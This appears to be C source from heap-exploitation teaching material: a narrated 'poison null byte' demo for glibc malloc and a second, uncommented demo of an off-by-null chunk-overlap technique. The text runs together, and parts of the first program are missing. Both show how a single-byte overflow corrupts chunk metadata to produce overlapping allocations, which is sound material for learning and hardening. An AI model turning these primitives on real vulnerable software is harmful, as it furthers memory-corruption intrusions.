printf("Welcome to poison null byte 2.0!\n"); printf("Tested in Ubuntu 16.04 64bit.\n"); printf("This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
printf("We allocate 0x100 bytes for 'a'.\n"); a = (uint8_t*) malloc(0x100); printf("a: %p\n", a); int real_a_size = malloc_usable_size(a); printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' " "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00. * the least significant byte of this will be 0x10, because the size of the chunk includes * the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0x200);
printf("b: %p\n", b);
c = (uint8_t*) malloc(0x100); printf("c: %p\n", c);
barrier = malloc(0x100); printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n" "The barrier is not strictly necessary, but makes things less confusing\n", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc // https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30 // this added check requires we are allowed to have null pointers in b (not just a c string) //*(size_t*)(b+0x1f0) = 0x200; printf("In newer versions of glibc we will need to have our updated size inside b itself to pass " "the check 'chunksize(P) != prev_size (next_chunk(P))'\n"); // we set this location to 0x200 since 0x200 == (0x211 & 0xff00) // which is the value of b.size after its first byte has been overwritten with a NULL byte *(size_t*)(b+0x1f0) = 0x200;
// this technique works by overwriting the size metadata of a free chunk free(b);
printf("b.size: %#lx\n", *b_size_ptr); printf("b.size is: (0x200 + 0x10) | prev_in_use\n"); printf("We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG" printf("b.size: %#lx\n", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2; printf("c.prev_size is %#lx\n",*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was. // The added check (commit id: 17f487b), if not properly handled as we did before, // will detect the heap corruption now. // The check is this: chunksize(P) != prev_size (next_chunk(P)) where // P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow) // next_chunk(P) == b-0x10+0x200 == b+0x1f0 // prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200 printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8)))); b1 = malloc(0x100);
printf("b1: %p\n",b1); printf("Now we malloc 'b1'. It will be placed where 'b' was. " "At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr); printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes " "before c.prev_size: %lx\n",*(((uint64_t*)c)-4)); printf("We malloc 'b2', our 'victim' chunk.\n"); // Typically b2 (the victim) will be a structure with valuable pointers that we want to control
printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
free(b1); free(c);
printf("Finally, we allocate 'd', overlapping 'b2'.\n"); d = malloc(0x300); printf("d: %p\n",d);
printf("Now 'd' and 'b2' overlap.\n"); memset(d,'D',0x300);
printf("New b2 content:\n%s\n",b2);
printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks" "for the clear explanation of this technique.\n");
#include<stdio.h> #include<stdlib.h> #include<assert.h> intmain() { long *tmp = malloc(0x18); void *pad = malloc(0x10000 - ((long)tmp&0xffff) - tmp[-1]); void *prev = malloc(0x500); char *victim = malloc(0x4f0); malloc(0x10); void *a = malloc(0x4f0); malloc(0x10); void *b = malloc(0x510); malloc(0x10); free(a); free(b); free(prev); malloc(0x1000); // b --> prev --> a in largebin long *prev2 = malloc(0x500); //cash prev out prev2[1] = 0x501; //fake size,here must long type prev2[0x500/sizeof(long)] = 0x500; short *b2 = malloc(0x510); // cash b out b2[0] = 16; //change fd void *a2 = malloc(0x4f0); // cash a out free(a2); // into unsorted bin free(victim); // into unsorted bin short *a3 = malloc(0x4f0); //make a3's bk not pointing to bin(now to victim) a3[4] = 16; // so just need to change the last 2 bytes of a3's bk char *victim2 = malloc(0x4f0); //cash out from unsorted bin victim2[-8] = 0; // use VULNERABILITY clear prev_inuse bit // backward consolidate, use prev2's fd_nextsize and bk_nextsize to fake fd and bk free(victim2); long *merged = malloc(0x100); assert((long)merged - (long)prev2 == 0x10); }